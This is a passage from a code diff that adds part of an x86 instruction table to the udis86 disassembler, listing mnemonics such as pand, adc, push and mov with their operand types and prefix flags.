O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0556 */ { UD_Ipand, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0557 */ { UD_Ipand, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0558 */ { UD_Ipaddusb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0559 */ { UD_Ipaddusb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0560 */ { UD_Ipaddusw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0561 */ { UD_Ipaddusw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0562 */ { UD_Ipmaxub, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0563 */ { UD_Ipmaxub, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0564 */ { UD_Ipandn, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0565 */ { UD_Ipandn, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0566 */ { UD_Ipavgb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0567 */ { UD_Ipavgb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0568 */ { UD_Ipsraw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0569 */ { UD_Ipsraw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0570 */ { UD_Ipsrad, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0571 */ { UD_Ipsrad, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0572 */ { UD_Ipavgw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0573 */ { UD_Ipavgw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0574 */ { UD_Ipmulhuw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0575 */ { UD_Ipmulhuw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0576 */ { UD_Ipmulhw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0577 */ { UD_Ipmulhw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0578 */ { UD_Icvtpd2dq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0579 */ { UD_Icvtdq2pd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0580 */ { UD_Icvttpd2dq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0581 */ { UD_Imovntq, O_M, O_P, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0582 */ { UD_Imovntdq, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0583 */ { UD_Ipsubsb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0584 */ { UD_Ipsubsb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0585 */ { UD_Ipsubsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0586 */ { UD_Ipsubsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0587 */ { UD_Ipminsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0588 */ { UD_Ipminsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0589 */ { UD_Ipor, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0590 */ { UD_Ipor, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0591 */ { UD_Ipaddsb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0592 */ { UD_Ipaddsb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0593 */ { UD_Ipaddsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0594 */ { UD_Ipaddsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0595 */ { UD_Ipmaxsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0596 */ { UD_Ipmaxsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0597 */ { UD_Ipxor, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0598 */ { UD_Ipxor, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0599 */ { UD_Ilddqu, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0600 */ { UD_Ipsllw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0601 */ { UD_Ipsllw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0602 */ { UD_Ipslld, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0603 */ { UD_Ipslld, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0604 */ { UD_Ipsllq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0605 */ { UD_Ipsllq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0606 */ { UD_Ipmuludq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0607 */ { UD_Ipmuludq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0608 */ { UD_Ipmaddwd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0609 */ { UD_Ipmaddwd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0610 */ { UD_Ipsadbw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0611 */ { UD_Ipsadbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0612 */ { UD_Imaskmovq, O_P, O_N, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0613 */ { UD_Imaskmovdqu, O_V, O_U, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0614 */ { UD_Ipsubb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0615 */ { UD_Ipsubb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0616 */ { UD_Ipsubw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0617 */ { UD_Ipsubw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0618 */ { UD_Ipsubd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0619 */ { UD_Ipsubd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0620 */ { UD_Ipsubq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0621 */ { UD_Ipsubq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0622 */ { UD_Ipaddb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0623 */ { UD_Ipaddb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0624 */ { UD_Ipaddw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0625 */ { UD_Ipaddw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0626 */ { UD_Ipaddd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0627 */ { UD_Ipaddd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0628 */ { UD_Iadc, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0629 */ { UD_Iadc, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0630 */ { UD_Iadc, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0631 */ { UD_Iadc, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0632 */ { UD_Iadc, O_AL, O_Ib, O_NONE, P_none }, + /* 0633 */ { UD_Iadc, O_rAX, O_sIz, O_NONE, P_oso|P_rexw }, + /* 0634 */ { UD_Ipush, O_SS, O_NONE, O_NONE, P_inv64 }, + /* 0635 */ { UD_Ipop, O_SS, O_NONE, O_NONE, P_inv64 }, + /* 0636 */ { UD_Isbb, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0637 */ { UD_Isbb, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0638 */ { UD_Isbb, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0639 */ { UD_Isbb, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0640 */ { UD_Isbb, O_AL, O_Ib, O_NONE, P_none }, + /* 0641 */ { UD_Isbb, O_rAX, O_sIz, O_NONE, P_oso|P_rexw }, + /* 0642 */ { UD_Ipush, O_DS, O_NONE, O_NONE, P_inv64 }, + /* 0643 */ { UD_Ipop, O_DS, O_NONE, O_NONE, P_inv64 }, + /* 0644 */ { UD_Iand, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0645 */ { UD_Iand, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0646 */ { UD_Iand, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0647 */ { UD_Iand, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0648 */ { UD_Iand, O_AL, O_Ib, O_NONE, P_none }, + /* 0649 */ { UD_Iand, O_rAX, O_sIz, O_NONE, P_oso|P_rexw }, + /* 0650 */ { UD_Idaa, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 0651 */ { UD_Isub, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0652 */ { UD_Isub, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0653 */ { UD_Isub, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0654 */ { UD_Isub, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0655 */ { UD_Isub, O_AL, O_Ib, O_NONE, P_none }, + /* 0656 */ { UD_Isub, O_rAX, O_sIz, O_NONE, P_oso|P_rexw }, + /* 0657 */ { UD_Idas, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 0658 */ { UD_Ixor, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0659 */ { UD_Ixor, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0660 */ { UD_Ixor, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0661 */ { UD_Ixor, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0662 */ { UD_Ixor, O_AL, O_Ib, O_NONE, P_none }, + /* 0663 */ { UD_Ixor, O_rAX, O_sIz, O_NONE, P_oso|P_rexw }, + /* 0664 */ { UD_Iaaa, O_NONE, O_NONE, O_NONE, P_none }, + /* 0665 */ { UD_Icmp, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0666 */ { UD_Icmp, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0667 */ { UD_Icmp, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0668 */ { UD_Icmp, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0669 */ { UD_Icmp, O_AL, O_Ib, O_NONE, P_none }, + /* 0670 */ { UD_Icmp, O_rAX, O_sIz, O_NONE, P_oso|P_rexw }, + /* 0671 */ { UD_Iaas, O_NONE, O_NONE, O_NONE, P_none }, + /* 0672 */ { UD_Iinc, O_R0z, O_NONE, O_NONE, P_oso }, + /* 0673 */ { UD_Iinc, O_R1z, O_NONE, O_NONE, P_oso }, + /* 0674 */ { UD_Iinc, O_R2z, O_NONE, O_NONE, P_oso }, + /* 0675 */ { UD_Iinc, O_R3z, O_NONE, O_NONE, P_oso }, + /* 0676 */ { UD_Iinc, O_R4z, O_NONE, O_NONE, P_oso }, + /* 0677 */ { UD_Iinc, O_R5z, O_NONE, O_NONE, P_oso }, + /* 0678 */ { UD_Iinc, O_R6z, O_NONE, O_NONE, P_oso }, + /* 0679 */ { UD_Iinc, O_R7z, O_NONE, O_NONE, P_oso }, + /* 0680 */ { UD_Idec, O_R0z, O_NONE, O_NONE, P_oso }, + /* 0681 */ { UD_Idec, O_R1z, O_NONE, O_NONE, P_oso }, + /* 0682 */ { UD_Idec, O_R2z, O_NONE, O_NONE, P_oso }, + /* 0683 */ { UD_Idec, O_R3z, O_NONE, O_NONE, P_oso }, + /* 0684 */ { UD_Idec, O_R4z, O_NONE, O_NONE, P_oso }, + /* 0685 */ { UD_Idec, O_R5z, O_NONE, O_NONE, P_oso }, + /* 0686 */ { UD_Idec, O_R6z, O_NONE, O_NONE, P_oso }, + /* 0687 */ { UD_Idec, O_R7z, O_NONE, O_NONE, P_oso }, + /* 0688 */ { UD_Ipush, O_R0v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0689 */ { UD_Ipush, O_R1v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0690 */ { UD_Ipush, O_R2v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0691 */ { UD_Ipush, O_R3v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0692 */ { UD_Ipush, O_R4v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0693 */ { UD_Ipush, O_R5v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0694 */ { UD_Ipush, O_R6v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0695 */ { UD_Ipush, O_R7v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0696 */ { UD_Ipop, O_R0v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0697 */ { UD_Ipop, O_R1v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0698 */ { UD_Ipop, O_R2v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0699 */ { UD_Ipop, O_R3v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0700 */ { UD_Ipop, O_R4v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0701 */ { UD_Ipop, O_R5v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0702 */ { UD_Ipop, O_R6v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0703 */ { UD_Ipop, O_R7v, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 0704 */ { UD_Ipusha, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 0705 */ { UD_Ipushad, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 0706 */ { UD_Ipopa, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 0707 */ { UD_Ipopad, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 0708 */ { UD_Ibound, O_Gv, O_M, O_NONE, P_aso|P_oso }, + /* 0709 */ { UD_Iarpl, O_Ew, O_Gw, O_NONE, P_aso }, + /* 0710 */ { UD_Imovsxd, O_Gq, O_Ed, O_NONE, P_aso|P_oso|P_rexw|P_rexx|P_rexr|P_rexb }, + /* 0711 */ { UD_Ipush, O_sIz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0712 */ { UD_Iimul, O_Gv, O_Ev, O_Iz, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0713 */ { UD_Ipush, O_sIb, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0714 */ { UD_Iimul, O_Gv, O_Ev, O_sIb, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0715 */ { UD_Iinsb, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0716 */ { UD_Iinsw, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0717 */ { UD_Iinsd, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0718 */ { UD_Ioutsb, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0719 */ { UD_Ioutsw, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0720 */ { UD_Ioutsd, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0721 */ { UD_Ijo, O_Jb, O_NONE, O_NONE, P_none }, + /* 0722 */ { UD_Ijno, O_Jb, O_NONE, O_NONE, P_none }, + /* 0723 */ { UD_Ijb, O_Jb, O_NONE, O_NONE, P_none }, + /* 0724 */ { UD_Ijae, O_Jb, O_NONE, O_NONE, P_none }, + /* 0725 */ { UD_Ijz, O_Jb, O_NONE, O_NONE, P_none }, + /* 0726 */ { UD_Ijnz, O_Jb, O_NONE, O_NONE, P_none }, + /* 0727 */ { UD_Ijbe, O_Jb, O_NONE, O_NONE, P_none }, + /* 0728 */ { UD_Ija, O_Jb, O_NONE, O_NONE, P_none }, + /* 0729 */ { UD_Ijs, O_Jb, O_NONE, O_NONE, P_none }, + /* 0730 */ { UD_Ijns, O_Jb, O_NONE, O_NONE, P_none }, + /* 0731 */ { UD_Ijp, O_Jb, O_NONE, O_NONE, P_none }, + /* 0732 */ { UD_Ijnp, O_Jb, O_NONE, O_NONE, P_none }, + /* 0733 */ { UD_Ijl, O_Jb, O_NONE, O_NONE, P_none }, + /* 0734 */ { UD_Ijge, O_Jb, O_NONE, O_NONE, P_none }, + /* 0735 */ { UD_Ijle, O_Jb, O_NONE, O_NONE, P_none }, + /* 0736 */ { UD_Ijg, O_Jb, O_NONE, O_NONE, P_none }, + /* 0737 */ { UD_Iadd, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0738 */ { UD_Ior, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0739 */ { UD_Iadc, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0740 */ { UD_Isbb, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0741 */ { UD_Iand, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0742 */ { UD_Isub, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0743 */ { UD_Ixor, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0744 */ { UD_Icmp, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0745 */ { UD_Iadd, O_Ev, O_sIz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0746 */ { UD_Ior, O_Ev, O_sIz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0747 */ { UD_Iadc, O_Ev, O_sIz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0748 */ { UD_Isbb, O_Ev, O_sIz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0749 */ { UD_Iand, O_Ev, O_sIz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0750 */ { UD_Isub, O_Ev, O_sIz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0751 */ { UD_Ixor, O_Ev, O_sIz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0752 */ { UD_Icmp, O_Ev, O_sIz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0753 */ { UD_Iadd, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0754 */ { UD_Ior, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0755 */ { UD_Iadc, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0756 */ { UD_Isbb, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0757 */ { UD_Iand, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0758 */ { UD_Isub, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0759 */ { UD_Ixor, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0760 */ { UD_Icmp, O_Eb, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0761 */ { UD_Iadd, O_Ev, O_sIb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0762 */ { UD_Ior, O_Ev, O_sIb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0763 */ { UD_Iadc, O_Ev, O_sIb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0764 */ { UD_Isbb, O_Ev, O_sIb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0765 */ { UD_Iand, O_Ev, O_sIb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0766 */ { UD_Isub, O_Ev, O_sIb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0767 */ { UD_Ixor, O_Ev, O_sIb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0768 */ { UD_Icmp, O_Ev, O_sIb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0769 */ { UD_Itest, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0770 */ { UD_Itest, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0771 */ { UD_Ixchg, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0772 */ { UD_Ixchg, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0773 */ { UD_Imov, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0774 */ { UD_Imov, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0775 */ { UD_Imov, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0776 */ { UD_Imov, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0777 */ { UD_Imov, O_MwRv, O_S, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0778 */ { UD_Ilea, O_Gv, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0779 */ { UD_Imov, O_S, O_MwRv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0780 */ { UD_Ipop, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 0781 */ { UD_Ixchg, O_R0v, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0782 */ { UD_Ixchg, O_R1v, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0783 */ { UD_Ixchg, O_R2v, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0784 */ { UD_Ixchg, O_R3v, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0785 */ { UD_Ixchg, O_R4v, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0786 */ { UD_Ixchg, O_R5v, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0787 */ { UD_Ixchg, O_R6v, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0788 */ { UD_Ixchg, O_R7v, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0789 */ { UD_Icbw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0790 */ { UD_Icwde, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0791 */ { UD_Icdqe, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0792 */ { UD_Icwd, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0793 */ { UD_Icdq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0794 */ { UD_Icqo, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0795 */ { UD_Icall, O_Av, O_NONE, O_NONE, P_oso }, + /* 0796 */ { UD_Iwait, O_NONE, O_NONE, O_NONE, P_none }, + /* 0797 */ { UD_Ipushfw, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0798 */ { UD_Ipushfw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_def64 }, + /* 0799 */ { UD_Ipushfd, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0800 */ { UD_Ipushfq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_def64 }, + /* 0801 */ { UD_Ipushfq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_def64 }, + /* 0802 */ { UD_Ipopfw, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0803 */ { UD_Ipopfd, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0804 */ { UD_Ipopfq, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0805 */ { UD_Ipopfq, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0806 */ { UD_Isahf, O_NONE, O_NONE, O_NONE, P_none }, + /* 0807 */ { UD_Ilahf, O_NONE, O_NONE, O_NONE, P_none }, + /* 0808 */ { UD_Imov, O_AL, O_Ob, O_NONE, P_none }, + /* 0809 */ { UD_Imov, O_rAX, O_Ov, O_NONE, P_aso|P_oso|P_rexw }, + /* 0810 */ { UD_Imov, O_Ob, O_AL, O_NONE, P_none }, + /* 0811 */ { UD_Imov, O_Ov, O_rAX, O_NONE, P_aso|P_oso|P_rexw }, + /* 0812 */ { UD_Imovsb, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0813 */ { UD_Imovsw, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0814 */ { UD_Imovsd, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0815 */ { UD_Imovsq, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0816 */ { UD_Icmpsb, O_NONE, O_NONE, O_NONE, P_strz|P_seg }, + /* 0817 */ { UD_Icmpsw, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw|P_seg }, + /* 0818 */ { UD_Icmpsd, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw|P_seg }, + /* 0819 */ { UD_Icmpsq, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw|P_seg }, + /* 0820 */ { UD_Itest, O_AL, O_Ib, O_NONE, P_none }, + /* 0821 */ { UD_Itest, O_rAX, O_sIz, O_NONE, P_oso|P_rexw }, + /* 0822 */ { UD_Istosb, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0823 */ { UD_Istosw, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0824 */ { UD_Istosd, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0825 */ { UD_Istosq, O_NONE, O_NONE, O_NONE, 